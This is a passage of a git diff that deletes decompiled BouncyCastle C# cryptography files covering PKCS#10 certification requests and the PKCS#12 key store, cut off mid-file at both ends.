NistObjectIdentifiers.DsaWithSha224); - algorithms.Add("SHA256WITHDSA", NistObjectIdentifiers.DsaWithSha256); - algorithms.Add("SHA384WITHDSA", NistObjectIdentifiers.DsaWithSha384); - algorithms.Add("SHA512WITHDSA", NistObjectIdentifiers.DsaWithSha512); - algorithms.Add("SHA1WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("SHA224WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha224); - algorithms.Add("SHA256WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha256); - algorithms.Add("SHA384WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha384); - algorithms.Add("SHA512WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha512); - algorithms.Add("ECDSAWITHSHA1", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("GOST3411WITHGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3410WITHGOST3411", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3411WITHECGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - algorithms.Add("GOST3411WITHECGOST3410-2001", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - algorithms.Add("GOST3411WITHGOST3410-2001", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - oids.Add(PkcsObjectIdentifiers.Sha1WithRsaEncryption, "SHA1WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha224WithRsaEncryption, "SHA224WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha256WithRsaEncryption, "SHA256WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha384WithRsaEncryption, "SHA384WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha512WithRsaEncryption, "SHA512WITHRSA"); - oids.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94, "GOST3411WITHGOST3410"); - oids.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001, "GOST3411WITHECGOST3410"); - oids.Add(PkcsObjectIdentifiers.MD5WithRsaEncryption, "MD5WITHRSA"); - oids.Add(PkcsObjectIdentifiers.MD2WithRsaEncryption, "MD2WITHRSA"); - oids.Add(X9ObjectIdentifiers.IdDsaWithSha1, "SHA1WITHDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha1, "SHA1WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha224, "SHA224WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha256, "SHA256WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha384, "SHA384WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha512, "SHA512WITHECDSA"); - oids.Add(OiwObjectIdentifiers.MD5WithRsa, "MD5WITHRSA"); - oids.Add(OiwObjectIdentifiers.Sha1WithRsa, "SHA1WITHRSA"); - oids.Add(OiwObjectIdentifiers.DsaWithSha1, "SHA1WITHDSA"); - oids.Add(NistObjectIdentifiers.DsaWithSha224, "SHA224WITHDSA"); - oids.Add(NistObjectIdentifiers.DsaWithSha256, "SHA256WITHDSA"); - keyAlgorithms.Add(PkcsObjectIdentifiers.RsaEncryption, "RSA"); - keyAlgorithms.Add(X9ObjectIdentifiers.IdDsa, "DSA"); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha1); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha224); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha256); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha384); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha512); - noParams.Add(X9ObjectIdentifiers.IdDsaWithSha1); - noParams.Add(NistObjectIdentifiers.DsaWithSha224); - noParams.Add(NistObjectIdentifiers.DsaWithSha256); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - AlgorithmIdentifier hashAlgId = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - exParams.Add("SHA1WITHRSAANDMGF1", CreatePssParams(hashAlgId, 20)); - AlgorithmIdentifier hashAlgId2 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha224, DerNull.Instance); - exParams.Add("SHA224WITHRSAANDMGF1", CreatePssParams(hashAlgId2, 28)); - AlgorithmIdentifier hashAlgId3 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha256, DerNull.Instance); - exParams.Add("SHA256WITHRSAANDMGF1", CreatePssParams(hashAlgId3, 32)); - AlgorithmIdentifier hashAlgId4 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha384, DerNull.Instance); - exParams.Add("SHA384WITHRSAANDMGF1", CreatePssParams(hashAlgId4, 48)); - AlgorithmIdentifier hashAlgId5 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha512, DerNull.Instance); - exParams.Add("SHA512WITHRSAANDMGF1", CreatePssParams(hashAlgId5, 64)); - } - - private static RsassaPssParameters CreatePssParams(AlgorithmIdentifier hashAlgId, int saltSize) - { - return new RsassaPssParameters(hashAlgId, new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, hashAlgId), new DerInteger(saltSize), new DerInteger(1)); - } - - protected Pkcs10CertificationRequest() - { - } - - public Pkcs10CertificationRequest(byte[] encoded) - : base((Asn1Sequence)Asn1Object.FromByteArray(encoded)) - { - } - - public Pkcs10CertificationRequest(Asn1Sequence seq) - : base(seq) - { - } - - public Pkcs10CertificationRequest(Stream input) - : base((Asn1Sequence)Asn1Object.FromStream(input)) - { - } - - public Pkcs10CertificationRequest(string signatureAlgorithm, X509Name subject, AsymmetricKeyParameter publicKey, Asn1Set attributes, AsymmetricKeyParameter signingKey) - : this(new Asn1SignatureFactory(signatureAlgorithm, signingKey), subject, publicKey, attributes) - { - } - - [Obsolete("Use constructor without 'signingKey' parameter (ignored here)")] - public Pkcs10CertificationRequest(ISignatureFactory signatureFactory, X509Name subject, AsymmetricKeyParameter publicKey, Asn1Set attributes, AsymmetricKeyParameter signingKey) - : this(signatureFactory, subject, publicKey, attributes) - { - } - - public Pkcs10CertificationRequest(ISignatureFactory signatureFactory, X509Name subject, AsymmetricKeyParameter publicKey, Asn1Set attributes) - { - if (signatureFactory == null) - { - throw new ArgumentNullException("signatureFactory"); - } - if (subject == null) - { - throw new ArgumentNullException("subject"); - } - if (publicKey == null) - { - throw new ArgumentNullException("publicKey"); - } - if (publicKey.IsPrivate) - { - throw new ArgumentException("expected public key", "publicKey"); - } - Init(signatureFactory, subject, publicKey, attributes); - } - - private void Init(ISignatureFactory signatureFactory, X509Name subject, AsymmetricKeyParameter publicKey, Asn1Set attributes) - { - sigAlgId = (AlgorithmIdentifier)signatureFactory.AlgorithmDetails; - SubjectPublicKeyInfo pkInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey); - reqInfo = new CertificationRequestInfo(subject, pkInfo, attributes); - IStreamCalculator streamCalculator = signatureFactory.CreateCalculator(); - byte[] derEncoded = reqInfo.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - sigBits = new DerBitString(((IBlockResult)streamCalculator.GetResult()).Collect()); - } - - public AsymmetricKeyParameter GetPublicKey() - { - return PublicKeyFactory.CreateKey(reqInfo.SubjectPublicKeyInfo); - } - - public bool Verify() - { - return Verify(GetPublicKey()); - } - - public bool Verify(AsymmetricKeyParameter publicKey) - { - return Verify(new Asn1VerifierFactoryProvider(publicKey)); - } - - public bool Verify(IVerifierFactoryProvider verifierProvider) - { - return Verify(verifierProvider.CreateVerifierFactory(sigAlgId)); - } - - public bool Verify(IVerifierFactory verifier) - { - try - { - byte[] derEncoded = reqInfo.GetDerEncoded(); - IStreamCalculator streamCalculator = verifier.CreateCalculator(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - return ((IVerifier)streamCalculator.GetResult()).IsVerified(sigBits.GetOctets()); - } - catch (Exception exception) - { - throw new SignatureException("exception encoding TBS cert request", exception); - } - } - - private void SetSignatureParameters(ISigner signature, Asn1Encodable asn1Params) - { - if (asn1Params != null && !(asn1Params is Asn1Null) && Platform.EndsWith(signature.AlgorithmName, "MGF1")) - { - throw Platform.CreateNotImplementedException("signature algorithm with MGF1"); - } - } - - internal static string GetSignatureName(AlgorithmIdentifier sigAlgId) - { - Asn1Encodable parameters = sigAlgId.Parameters; - if (parameters != null && !(parameters is Asn1Null) && sigAlgId.Algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss)) - { - RsassaPssParameters instance = RsassaPssParameters.GetInstance(parameters); - return GetDigestAlgName(instance.HashAlgorithm.Algorithm) + "withRSAandMGF1"; - } - return sigAlgId.Algorithm.Id; - } - - private static string GetDigestAlgName(DerObjectIdentifier digestAlgOID) - { - if (PkcsObjectIdentifiers.MD5.Equals(digestAlgOID)) - { - return "MD5"; - } - if (OiwObjectIdentifiers.IdSha1.Equals(digestAlgOID)) - { - return "SHA1"; - } - if (NistObjectIdentifiers.IdSha224.Equals(digestAlgOID)) - { - return "SHA224"; - } - if (NistObjectIdentifiers.IdSha256.Equals(digestAlgOID)) - { - return "SHA256"; - } - if (NistObjectIdentifiers.IdSha384.Equals(digestAlgOID)) - { - return "SHA384"; - } - if (NistObjectIdentifiers.IdSha512.Equals(digestAlgOID)) - { - return "SHA512"; - } - if (TeleTrusTObjectIdentifiers.RipeMD128.Equals(digestAlgOID)) - { - return "RIPEMD128"; - } - if (TeleTrusTObjectIdentifiers.RipeMD160.Equals(digestAlgOID)) - { - return "RIPEMD160"; - } - if (TeleTrusTObjectIdentifiers.RipeMD256.Equals(digestAlgOID)) - { - return "RIPEMD256"; - } - if (CryptoProObjectIdentifiers.GostR3411.Equals(digestAlgOID)) - { - return "GOST3411"; - } - return digestAlgOID.Id; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs10CertificationRequestDelaySigned.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs10CertificationRequestDelaySigned.cs deleted file mode 100644 index 604716a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs10CertificationRequestDelaySigned.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs10CertificationRequestDelaySigned : Pkcs10CertificationRequest -{ - protected Pkcs10CertificationRequestDelaySigned() - { - } - - public Pkcs10CertificationRequestDelaySigned(byte[] encoded) - : base(encoded) - { - } - - public Pkcs10CertificationRequestDelaySigned(Asn1Sequence seq) - : base(seq) - { - } - - public Pkcs10CertificationRequestDelaySigned(Stream input) - : base(input) - { - } - - public Pkcs10CertificationRequestDelaySigned(string signatureAlgorithm, X509Name subject, AsymmetricKeyParameter publicKey, Asn1Set attributes, AsymmetricKeyParameter signingKey) - : base(signatureAlgorithm, subject, publicKey, attributes, signingKey) - { - } - - public Pkcs10CertificationRequestDelaySigned(string signatureAlgorithm, X509Name subject, AsymmetricKeyParameter publicKey, Asn1Set attributes) - { - if (signatureAlgorithm == null) - { - throw new ArgumentNullException("signatureAlgorithm"); - } - if (subject == null) - { - throw new ArgumentNullException("subject"); - } - if (publicKey == null) - { - throw new ArgumentNullException("publicKey"); - } - if (publicKey.IsPrivate) - { - throw new ArgumentException("expected public key", "publicKey"); - } - string text = Platform.ToUpperInvariant(signatureAlgorithm); - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)Pkcs10CertificationRequest.algorithms[text]; - if (derObjectIdentifier == null) - { - try - { - derObjectIdentifier = new DerObjectIdentifier(text); - } - catch (Exception innerException) - { - throw new ArgumentException("Unknown signature type requested", innerException); - } - } - if (Pkcs10CertificationRequest.noParams.Contains(derObjectIdentifier)) - { - sigAlgId = new AlgorithmIdentifier(derObjectIdentifier); - } - else if (Pkcs10CertificationRequest.exParams.Contains(text)) - { - sigAlgId = new AlgorithmIdentifier(derObjectIdentifier, (Asn1Encodable)Pkcs10CertificationRequest.exParams[text]); - } - else - { - sigAlgId = new AlgorithmIdentifier(derObjectIdentifier, DerNull.Instance); - } - SubjectPublicKeyInfo pkInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey); - reqInfo = new CertificationRequestInfo(subject, pkInfo, attributes); - } - - public byte[] GetDataToSign() - { - return reqInfo.GetDerEncoded(); - } - - public void SignRequest(byte[] signedData) - { - sigBits = new DerBitString(signedData); - } - - public void SignRequest(DerBitString signedData) - { - sigBits = signedData; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Entry.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Entry.cs deleted file mode 100644 index d9d9aa7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Entry.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Pkcs; - -public abstract class Pkcs12Entry -{ - private readonly IDictionary attributes; - - public Asn1Encodable this[DerObjectIdentifier oid] => (Asn1Encodable)attributes[oid.Id]; - - public Asn1Encodable this[string oid] => (Asn1Encodable)attributes[oid]; - - public IEnumerable BagAttributeKeys => new EnumerableProxy(attributes.Keys); - - protected internal Pkcs12Entry(IDictionary attributes) - { - this.attributes = attributes; - foreach (object attribute in attributes) - { - DictionaryEntry dictionaryEntry = (DictionaryEntry)attribute; - if (!(dictionaryEntry.Key is string)) - { - throw new ArgumentException("Attribute keys must be of type: " + typeof(string).FullName, "attributes"); - } - if (!(dictionaryEntry.Value is Asn1Encodable)) - { - throw new ArgumentException("Attribute values must be of type: " + typeof(Asn1Encodable).FullName, "attributes"); - } - } - } - - [Obsolete("Use 'object[index]' syntax instead")] - public Asn1Encodable GetBagAttribute(DerObjectIdentifier oid) - { - return (Asn1Encodable)attributes[oid.Id]; - } - - [Obsolete("Use 'object[index]' syntax instead")] - public Asn1Encodable GetBagAttribute(string oid) - { - return (Asn1Encodable)attributes[oid]; - } - - [Obsolete("Use 'BagAttributeKeys' property")] - public IEnumerator GetBagAttributeKeys() - { - return attributes.Keys.GetEnumerator(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Store.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Store.cs deleted file mode 100644 index f6831f0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Store.cs +++ /dev/null @@ -1,824 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs12Store -{ - internal class CertId - { - private readonly byte[] id; - - internal byte[] Id => id; - - internal CertId(AsymmetricKeyParameter pubKey) - { - id = CreateSubjectKeyID(pubKey).GetKeyIdentifier(); - } - - internal CertId(byte[] id) - { - this.id = id; - } - - public override int GetHashCode() - { - return Arrays.GetHashCode(id); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is CertId certId)) - { - return false; - } - return Arrays.AreEqual(id, certId.id); - } - } - - private class IgnoresCaseHashtable : IEnumerable - { - private readonly IDictionary orig = Platform.CreateHashtable(); - - private readonly IDictionary keys = Platform.CreateHashtable(); - - public ICollection Keys => orig.Keys; - - public object this[string alias] - { - get - { - string key = Platform.ToUpperInvariant(alias); - string text = (string)keys[key]; - if (text == null) - { - return null; - } - return orig[text]; - } - set - { - string key = Platform.ToUpperInvariant(alias); - string text = (string)keys[key]; - if (text != null) - { - orig.Remove(text); - } - keys[key] = alias; - orig[alias] = value; - } - } - - public ICollection Values => orig.Values; - - public void Clear() - { - orig.Clear(); - keys.Clear(); - } - - public IEnumerator GetEnumerator() - { - return orig.GetEnumerator(); - } - - public object Remove(string alias) - { - string key = Platform.ToUpperInvariant(alias); - string text = (string)keys[key]; - if (text == null) - { - return null; - } - keys.Remove(key); - object result = orig[text]; - orig.Remove(text); - return result; - } - } - - private const int MinIterations = 1024; - - private const int SaltSize = 20; - - private readonly IgnoresCaseHashtable keys = new IgnoresCaseHashtable(); - - private readonly IDictionary localIds = Platform.CreateHashtable(); - - private readonly IgnoresCaseHashtable certs = new IgnoresCaseHashtable(); - - private readonly IDictionary chainCerts = Platform.CreateHashtable(); - - private readonly IDictionary keyCerts = Platform.CreateHashtable(); - - private readonly DerObjectIdentifier keyAlgorithm; - - private readonly DerObjectIdentifier certAlgorithm; - - private readonly bool useDerEncoding; - - private AsymmetricKeyEntry unmarkedKeyEntry = null; - - public IEnumerable Aliases => new EnumerableProxy(GetAliasesTable().Keys); - - public int Count => GetAliasesTable().Count; - - private static SubjectKeyIdentifier CreateSubjectKeyID(AsymmetricKeyParameter pubKey) - { - return new SubjectKeyIdentifier(SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(pubKey)); - } - - internal Pkcs12Store(DerObjectIdentifier keyAlgorithm, DerObjectIdentifier certAlgorithm, bool useDerEncoding) - { - this.keyAlgorithm = keyAlgorithm; - this.certAlgorithm = certAlgorithm; - this.useDerEncoding = useDerEncoding; - } - - public Pkcs12Store() - : this(PkcsObjectIdentifiers.PbeWithShaAnd3KeyTripleDesCbc, PkcsObjectIdentifiers.PbewithShaAnd40BitRC2Cbc, useDerEncoding: false) - { - } - - public Pkcs12Store(Stream input, char[] password) - : this() - { - Load(input, password); - } - - protected virtual void LoadKeyBag(PrivateKeyInfo privKeyInfo, Asn1Set bagAttributes) - { - AsymmetricKeyParameter key = PrivateKeyFactory.CreateKey(privKeyInfo); - IDictionary dictionary = Platform.CreateHashtable(); - AsymmetricKeyEntry value = new AsymmetricKeyEntry(key, dictionary); - string text = null; - Asn1OctetString asn1OctetString = null; - if (bagAttributes != null) - { - foreach (Asn1Sequence bagAttribute in bagAttributes) - { - DerObjectIdentifier instance = DerObjectIdentifier.GetInstance(bagAttribute[0]); - Asn1Set instance2 = Asn1Set.GetInstance(bagAttribute[1]); - Asn1Encodable asn1Encodable = null; - if (instance2.Count <= 0) - { - continue; - } - asn1Encodable = instance2[0]; - if (dictionary.Contains(instance.Id)) - { - if (!dictionary[instance.Id].Equals(asn1Encodable)) - { - throw new IOException("attempt to add existing attribute with different value"); - } - } - else - { - dictionary.Add(instance.Id, asn1Encodable); - } - if (instance.Equals(PkcsObjectIdentifiers.Pkcs9AtFriendlyName)) - { - text = ((DerBmpString)asn1Encodable).GetString(); - keys[text] = value; - } - else if (instance.Equals(PkcsObjectIdentifiers.Pkcs9AtLocalKeyID)) - { - asn1OctetString = (Asn1OctetString)asn1Encodable; - } - } - } - if (asn1OctetString != null) - { - string text2 = Hex.ToHexString(asn1OctetString.GetOctets()); - if (text == null) - { - keys[text2] = value; - } - else - { - localIds[text] = text2; - } - } - else - { - unmarkedKeyEntry = value; - } - } - - protected virtual void LoadPkcs8ShroudedKeyBag(EncryptedPrivateKeyInfo encPrivKeyInfo, Asn1Set bagAttributes, char[] password, bool wrongPkcs12Zero) - { - if (password != null) - { - PrivateKeyInfo privKeyInfo = PrivateKeyInfoFactory.CreatePrivateKeyInfo(password, wrongPkcs12Zero, encPrivKeyInfo); - LoadKeyBag(privKeyInfo, bagAttributes); - } - } - - public void Load(Stream input, char[] password) - { - if (input == null) - { - throw new ArgumentNullException("input"); - } - Asn1Sequence seq = (Asn1Sequence)Asn1Object.FromStream(input); - Pfx pfx = new Pfx(seq); - ContentInfo authSafe = pfx.AuthSafe; - bool wrongPkcs12Zero = false; - if (password != null && pfx.MacData != null) - { - MacData macData = pfx.MacData; - DigestInfo mac = macData.Mac; - AlgorithmIdentifier algorithmID = mac.AlgorithmID; - byte[] salt = macData.GetSalt(); - int intValue = macData.IterationCount.IntValue; - byte[] octets = ((Asn1OctetString)authSafe.Content).GetOctets(); - byte[] a = CalculatePbeMac(algorithmID.Algorithm, salt, intValue, password, wrongPkcs12Zero: false, octets); - byte[] digest = mac.GetDigest(); - if (!Arrays.ConstantTimeAreEqual(a, digest)) - { - if (password.Length > 0) - { - throw new IOException("PKCS12 key store MAC invalid - wrong password or corrupted file."); - } - a = CalculatePbeMac(algorithmID.Algorithm, salt, intValue, password, wrongPkcs12Zero: true, octets); - if (!Arrays.ConstantTimeAreEqual(a, digest)) - { - throw new IOException("PKCS12 key store MAC invalid - wrong password or corrupted file."); - } - wrongPkcs12Zero = true; - } - } - keys.Clear(); - localIds.Clear(); - unmarkedKeyEntry = null; - IList list = Platform.CreateArrayList(); - if (authSafe.ContentType.Equals(PkcsObjectIdentifiers.Data)) - { - byte[] octets2 = ((Asn1OctetString)authSafe.Content).GetOctets(); - AuthenticatedSafe authenticatedSafe = new AuthenticatedSafe((Asn1Sequence)Asn1Object.FromByteArray(octets2)); - ContentInfo[] contentInfo = authenticatedSafe.GetContentInfo(); - ContentInfo[] array = contentInfo; - foreach (ContentInfo contentInfo2 in array) - { - DerObjectIdentifier contentType = contentInfo2.ContentType; - byte[] array2 = null; - if (contentType.Equals(PkcsObjectIdentifiers.Data)) - { - array2 = ((Asn1OctetString)contentInfo2.Content).GetOctets(); - } - else if (contentType.Equals(PkcsObjectIdentifiers.EncryptedData) && password != null) - { - EncryptedData instance = EncryptedData.GetInstance(contentInfo2.Content); - array2 = CryptPbeData(forEncryption: false, instance.EncryptionAlgorithm, password, wrongPkcs12Zero, instance.Content.GetOctets()); - } - if (array2 == null) - { - continue; - } - Asn1Sequence asn1Sequence = (Asn1Sequence)Asn1Object.FromByteArray(array2); - foreach (Asn1Sequence item in asn1Sequence) - { - SafeBag safeBag = new SafeBag(item); - if (safeBag.BagID.Equals(PkcsObjectIdentifiers.CertBag)) - { - list.Add(safeBag); - } - else if (safeBag.BagID.Equals(PkcsObjectIdentifiers.Pkcs8ShroudedKeyBag)) - { - LoadPkcs8ShroudedKeyBag(EncryptedPrivateKeyInfo.GetInstance(safeBag.BagValue), safeBag.BagAttributes, password, wrongPkcs12Zero); - } - else if (safeBag.BagID.Equals(PkcsObjectIdentifiers.KeyBag)) - { - LoadKeyBag(PrivateKeyInfo.GetInstance(safeBag.BagValue), safeBag.BagAttributes); - } - } - } - } - certs.Clear(); - chainCerts.Clear(); - keyCerts.Clear(); - foreach (SafeBag item2 in list) - { - CertBag certBag = new CertBag((Asn1Sequence)item2.BagValue); - byte[] octets3 = ((Asn1OctetString)certBag.CertValue).GetOctets(); - X509Certificate x509Certificate = new X509CertificateParser().ReadCertificate(octets3); - IDictionary dictionary = Platform.CreateHashtable(); - Asn1OctetString asn1OctetString = null; - string text = null; - if (item2.BagAttributes != null) - { - foreach (Asn1Sequence bagAttribute in item2.BagAttributes) - { - DerObjectIdentifier instance2 = DerObjectIdentifier.GetInstance(bagAttribute[0]); - Asn1Set instance3 = Asn1Set.GetInstance(bagAttribute[1]); - if (instance3.Count <= 0) - { - continue; - } - Asn1Encodable asn1Encodable = instance3[0]; - if (dictionary.Contains(instance2.Id)) - { - if (!dictionary[instance2.Id].Equals(asn1Encodable)) - { - throw new IOException("attempt to add existing attribute with different value"); - } - } - else - { - dictionary.Add(instance2.Id, asn1Encodable); - } - if (instance2.Equals(PkcsObjectIdentifiers.Pkcs9AtFriendlyName)) - { - text = ((DerBmpString)asn1Encodable).GetString(); - } - else if (instance2.Equals(PkcsObjectIdentifiers.Pkcs9AtLocalKeyID)) - { - asn1OctetString = (Asn1OctetString)asn1Encodable; - } - } - } - CertId certId = new CertId(x509Certificate.GetPublicKey()); - X509CertificateEntry value = new X509CertificateEntry(x509Certificate, dictionary); - chainCerts[certId] = value; - if (unmarkedKeyEntry != null) - { - if (keyCerts.Count == 0) - { - string text2 = Hex.ToHexString(certId.Id); - keyCerts[text2] = value; - keys[text2] = unmarkedKeyEntry; - } - else - { - keys["unmarked"] = unmarkedKeyEntry; - } - continue; - } - if (asn1OctetString != null) - { - string key = Hex.ToHexString(asn1OctetString.GetOctets()); - keyCerts[key] = value; - } - if (text != null) - { - certs[text] = value; - } - } - } - - public AsymmetricKeyEntry GetKey(string alias) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - return (AsymmetricKeyEntry)keys[alias]; - } - - public bool IsCertificateEntry(string alias) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - if (certs[alias] != null) - { - return keys[alias] == null; - } - return false; - } - - public bool IsKeyEntry(string alias) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - return keys[alias] != null; - } - - private IDictionary GetAliasesTable() - { - IDictionary dictionary = Platform.CreateHashtable(); - foreach (string key3 in certs.Keys) - { - dictionary[key3] = "cert"; - } - foreach (string key4 in keys.Keys) - { - if (dictionary[key4] == null) - { - dictionary[key4] = "key"; - } - } - return dictionary; - } - - public bool ContainsAlias(string alias) - { - if (certs[alias] == null) - { - return keys[alias] != null; - } - return true; - } - - public X509CertificateEntry GetCertificate(string alias) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - X509CertificateEntry x509CertificateEntry = (X509CertificateEntry)certs[alias]; - if (x509CertificateEntry == null) - { - string text = (string)localIds[alias]; - x509CertificateEntry = ((text == null) ? ((X509CertificateEntry)keyCerts[alias]) : ((X509CertificateEntry)keyCerts[text])); - } - return x509CertificateEntry; - } - - public string GetCertificateAlias(X509Certificate cert) - { - if (cert == null) - { - throw new ArgumentNullException("cert"); - } - foreach (object cert2 in certs) - { - DictionaryEntry dictionaryEntry = (DictionaryEntry)cert2; - X509CertificateEntry x509CertificateEntry = (X509CertificateEntry)dictionaryEntry.Value; - if (x509CertificateEntry.Certificate.Equals(cert)) - { - return (string)dictionaryEntry.Key; - } - } - foreach (object keyCert in keyCerts) - { - DictionaryEntry dictionaryEntry2 = (DictionaryEntry)keyCert; - X509CertificateEntry x509CertificateEntry2 = (X509CertificateEntry)dictionaryEntry2.Value; - if (x509CertificateEntry2.Certificate.Equals(cert)) - { - return (string)dictionaryEntry2.Key; - } - } - return null; - } - - public X509CertificateEntry[] GetCertificateChain(string alias) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - if (!IsKeyEntry(alias)) - { - return null; - } - X509CertificateEntry x509CertificateEntry = GetCertificate(alias); - if (x509CertificateEntry != null) - { - IList list = Platform.CreateArrayList(); - while (x509CertificateEntry != null) - { - X509Certificate certificate = x509CertificateEntry.Certificate; - X509CertificateEntry x509CertificateEntry2 = null; - Asn1OctetString extensionValue = certificate.GetExtensionValue(X509Extensions.AuthorityKeyIdentifier); - if (extensionValue != null) - { - AuthorityKeyIdentifier instance = AuthorityKeyIdentifier.GetInstance(Asn1Object.FromByteArray(extensionValue.GetOctets())); - if (instance.GetKeyIdentifier() != null) - { - x509CertificateEntry2 = (X509CertificateEntry)chainCerts[new CertId(instance.GetKeyIdentifier())]; - } - } - if (x509CertificateEntry2 == null) - { - X509Name issuerDN = certificate.IssuerDN; - X509Name subjectDN = certificate.SubjectDN; - if (!issuerDN.Equivalent(subjectDN)) - { - foreach (CertId key in chainCerts.Keys) - { - X509CertificateEntry x509CertificateEntry3 = (X509CertificateEntry)chainCerts[key]; - X509Certificate certificate2 = x509CertificateEntry3.Certificate; - X509Name subjectDN2 = certificate2.SubjectDN; - if (subjectDN2.Equivalent(issuerDN)) - { - try - { - certificate.Verify(certificate2.GetPublicKey()); - x509CertificateEntry2 = x509CertificateEntry3; - } - catch (InvalidKeyException) - { - continue; - } - break; - } - } - } - } - list.Add(x509CertificateEntry); - x509CertificateEntry = ((x509CertificateEntry2 == x509CertificateEntry) ? null : x509CertificateEntry2); - } - X509CertificateEntry[] array = new X509CertificateEntry[list.Count]; - for (int i = 0; i < list.Count; i++) - { - array[i] = (X509CertificateEntry)list[i]; - } - return array; - } - return null; - } - - public void SetCertificateEntry(string alias, X509CertificateEntry certEntry) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - if (certEntry == null) - { - throw new ArgumentNullException("certEntry"); - } - if (keys[alias] != null) - { - throw new ArgumentException("There is a key entry with the name " + alias + "."); - } - certs[alias] = certEntry; - chainCerts[new CertId(certEntry.Certificate.GetPublicKey())] = certEntry; - } - - public void SetKeyEntry(string alias, AsymmetricKeyEntry keyEntry, X509CertificateEntry[] chain) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - if (keyEntry == null) - { - throw new ArgumentNullException("keyEntry"); - } - if (keyEntry.Key.IsPrivate && chain == null) - { - throw new ArgumentException("No certificate chain for private key"); - } - if (keys[alias] != null) - { - DeleteEntry(alias); - } - keys[alias] = keyEntry; - certs[alias] = chain[0]; - for (int i = 0; i != chain.Length; i++) - { - chainCerts[new CertId(chain[i].Certificate.GetPublicKey())] = chain[i]; - } - } - - public void DeleteEntry(string alias) - { - if (alias == null) - { - throw new ArgumentNullException("alias"); - } - AsymmetricKeyEntry asymmetricKeyEntry = 